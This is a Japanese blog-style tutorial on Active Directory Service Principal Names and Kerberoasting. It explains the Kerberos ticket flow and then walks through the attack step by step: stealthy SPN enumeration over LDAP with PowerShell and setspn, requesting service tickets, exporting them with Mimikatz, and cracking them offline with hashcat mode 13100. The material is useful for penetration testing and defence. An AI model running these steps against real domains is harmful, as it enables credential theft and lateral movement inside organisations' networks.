Active Directory環境におけるSPNのメカニズムとKerberoasting攻撃の実践

SPN (Service Principal Name) の概要とKerberos認証

Windows Active Directory (AD) 環境では、ネットワークリソースへのアクセス制御を一元管理し、きめ細やかな権限割り当てを実現するために、各サービスに対して一意の識別子である SPN (Service Principal Name) が付与されます。

Kerberos 認証プロトコルにおいて、サービスは特定のアカウント(ビルトインアカウントまたはドメインユーザーアカウント)のコンテキストで実行されます。ビルトインアカウント(例: Network Service)の場合は SPN が自動的に登録されますが、通常のドメインユーザーアカウントでサービスを実行する場合は、管理者が手動で SPN を登録する必要があります。

攻撃者はこの仕組みを悪用し、ドメインコントローラー (DC) に対して SPN のクエリを発行することで、ネットワークポートスキャンを行わずに内網に存在する特定のサービス(MSSQL、Exchange、RDPなど)をステルスに特定できます。

Kerberos認証とSPNの連携フロー

ユーザーが AD にログオンすると、キー配布センター (KDC) からチケット付与チケット (TGT) が発行されます。ユーザーが特定のサービス(例: MSSQL)にアクセスする際、クライアントは DC に対して該当する SPN を持つサービスチケットを要求します。KDC のチケット付与サービス (TGS) は TGT を検証し、問題がなければ対象 SPN に関連付けられたサービスアカウントのハッシュで暗号化されたサービスチケット (TGS) をクライアントに返します。クライアントはこのチケットを提示してサービスにアクセスします。

SPNの命名規則と具体例

SPN は以下の構文で構成されます。

<serviceclass>/<hostname>[:<port>][/<servicename>]

  • serviceclass: サービスの種類(必須)
  • hostname: マシンの FQDN(必須)
  • port: リスニングポート(任意)

代表的なサービスの SPN 例:

  • MSSQL: MSSQLSVC/sqlserver01.corp.local:1433
  • Exchange: exchangeMDB/exch01.corp.local
  • RDP: TERMSERV/rdphost.corp.local

ステルスなサービス探索 (SPNスキャン)

従来のポートスキャンは大量の SYN パケットを生成するため、IDS/IPS のアラートを触发しやすいです。一方、SPN スキャンは LDAP プロトコル経由で DC にクエリを送るだけなので、非常にステルス性が高いです。

PowerShell を用いたネイティブな SPN 探索スクリプトの例(外部モジュールに依存しない代替実装):

# ドメイン内のすべてのMSSQL関連SPNを検索する
$searcher = New-Object DirectoryServices.DirectorySearcher([ADSI]"")
$searcher.Filter = "(&(servicePrincipalName=MSSQLSvc*))"
$results = $searcher.FindAll()
foreach ($result in $results) {
    $entry = $result.GetDirectoryEntry()
    Write-Host "Account: $($entry.sAMAccountName) | SPN: $($entry.servicePrincipalName)"
}

コマンドラインツール setspn を使用した一覧取得:

setspn -T corp.local -Q */*

Kerberoasting攻撃のメカニズム

Kerberoasting は、TGS チケットの暗号化方式(主に RC4_HMAC_MD5)の脆弱性を突くオフラインパスワードクラッキング手法です。攻撃者は有効な TGT を使用して、ターゲットの SPN に対するサービスチケットを要求します。このチケットは、サービスアカウントの NTLM ハッシュで暗号化されています。攻撃者はメモリからこのチケットを抽出し、オフライン環境で辞書攻撃やブルートフォース攻撃を行うことで、サービスアカウントの平文パスワードを特定しようとします。

この攻撃が成功しやすい要因として、サービスアカウントに「パスワードを期限切れにしない」設定が適用されていたり、複雑性の要件が甘かったりすることが挙げられます。

Kerberoasting攻撃の実践ステップ

1. 標的SPNの手動登録

# ターゲットユーザーに対してRDPサービスのSPNを登録
setspn -A TermService/targethost.corp.local:3389 svc_rdp_user

# 登録されたSPNの確認
setspn -L svc_rdp_user

2. サービスログオン権限の付与

ローカルセキュリティポリシー(secpol.msc)の「ユーザー権利の割り当て」にある「サービスとしてログオン」に該当ユーザーを追加します。

3. ダウングレード攻撃のための暗号タイプ設定

Kerberos の暗号化タイプを RC4 に強制するため、グループポリシーの「ネットワーク セキュリティ: Kerberos で許可される暗号化タイプ」で RC4_HMAC_MD5 を有効化します。現代の環境では AES がデフォルトですが、攻撃の成功率を高めるために RC4 をターゲットにすることがあります。

4. PowerShellによるサービスチケットの要求

.NET の System.IdentityModel アセンブリを利用して、KDC にチケットを要求します。

# アセンブリのロード
[System.Reflection.Assembly]::LoadWithPartialName("System.IdentityModel") | Out-Null

# ターゲットSPNの指定
$targetSpn = "TermService/targethost.corp.local"

# KerberosRequestorSecurityToken オブジェクトの生成とチケット要求
$tokenRequestor = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $targetSpn

5. メモリからのチケット抽出

Mimikatz を使用して、メモリ上にキャッシュされた Kerberos チケットをエクスポートします。

mimikatz # sekurlsa::tickets /export

これにより、カレントディレクトリに .kirbi 形式のファイルが保存されます。

6. オフラインハッシュクラッキング

抽出したチケットからハッシュを抽出し、Hashcat を使用してクラッキングします。

# kirbi ファイルからハッシュ形式を変換
python3 kirbi2john.py extracted_ticket.kirbi > target_hash.txt

# Hashcat を使用したオフラインクラッキング (モード 13100: Kerberos 5 TGS-REP)
hashcat -m 13100 target_hash.txt wordlist.txt

タグ: ActiveDirectory Kerberos SPN Kerberoasting PowerShell

8月24日 23:25 投稿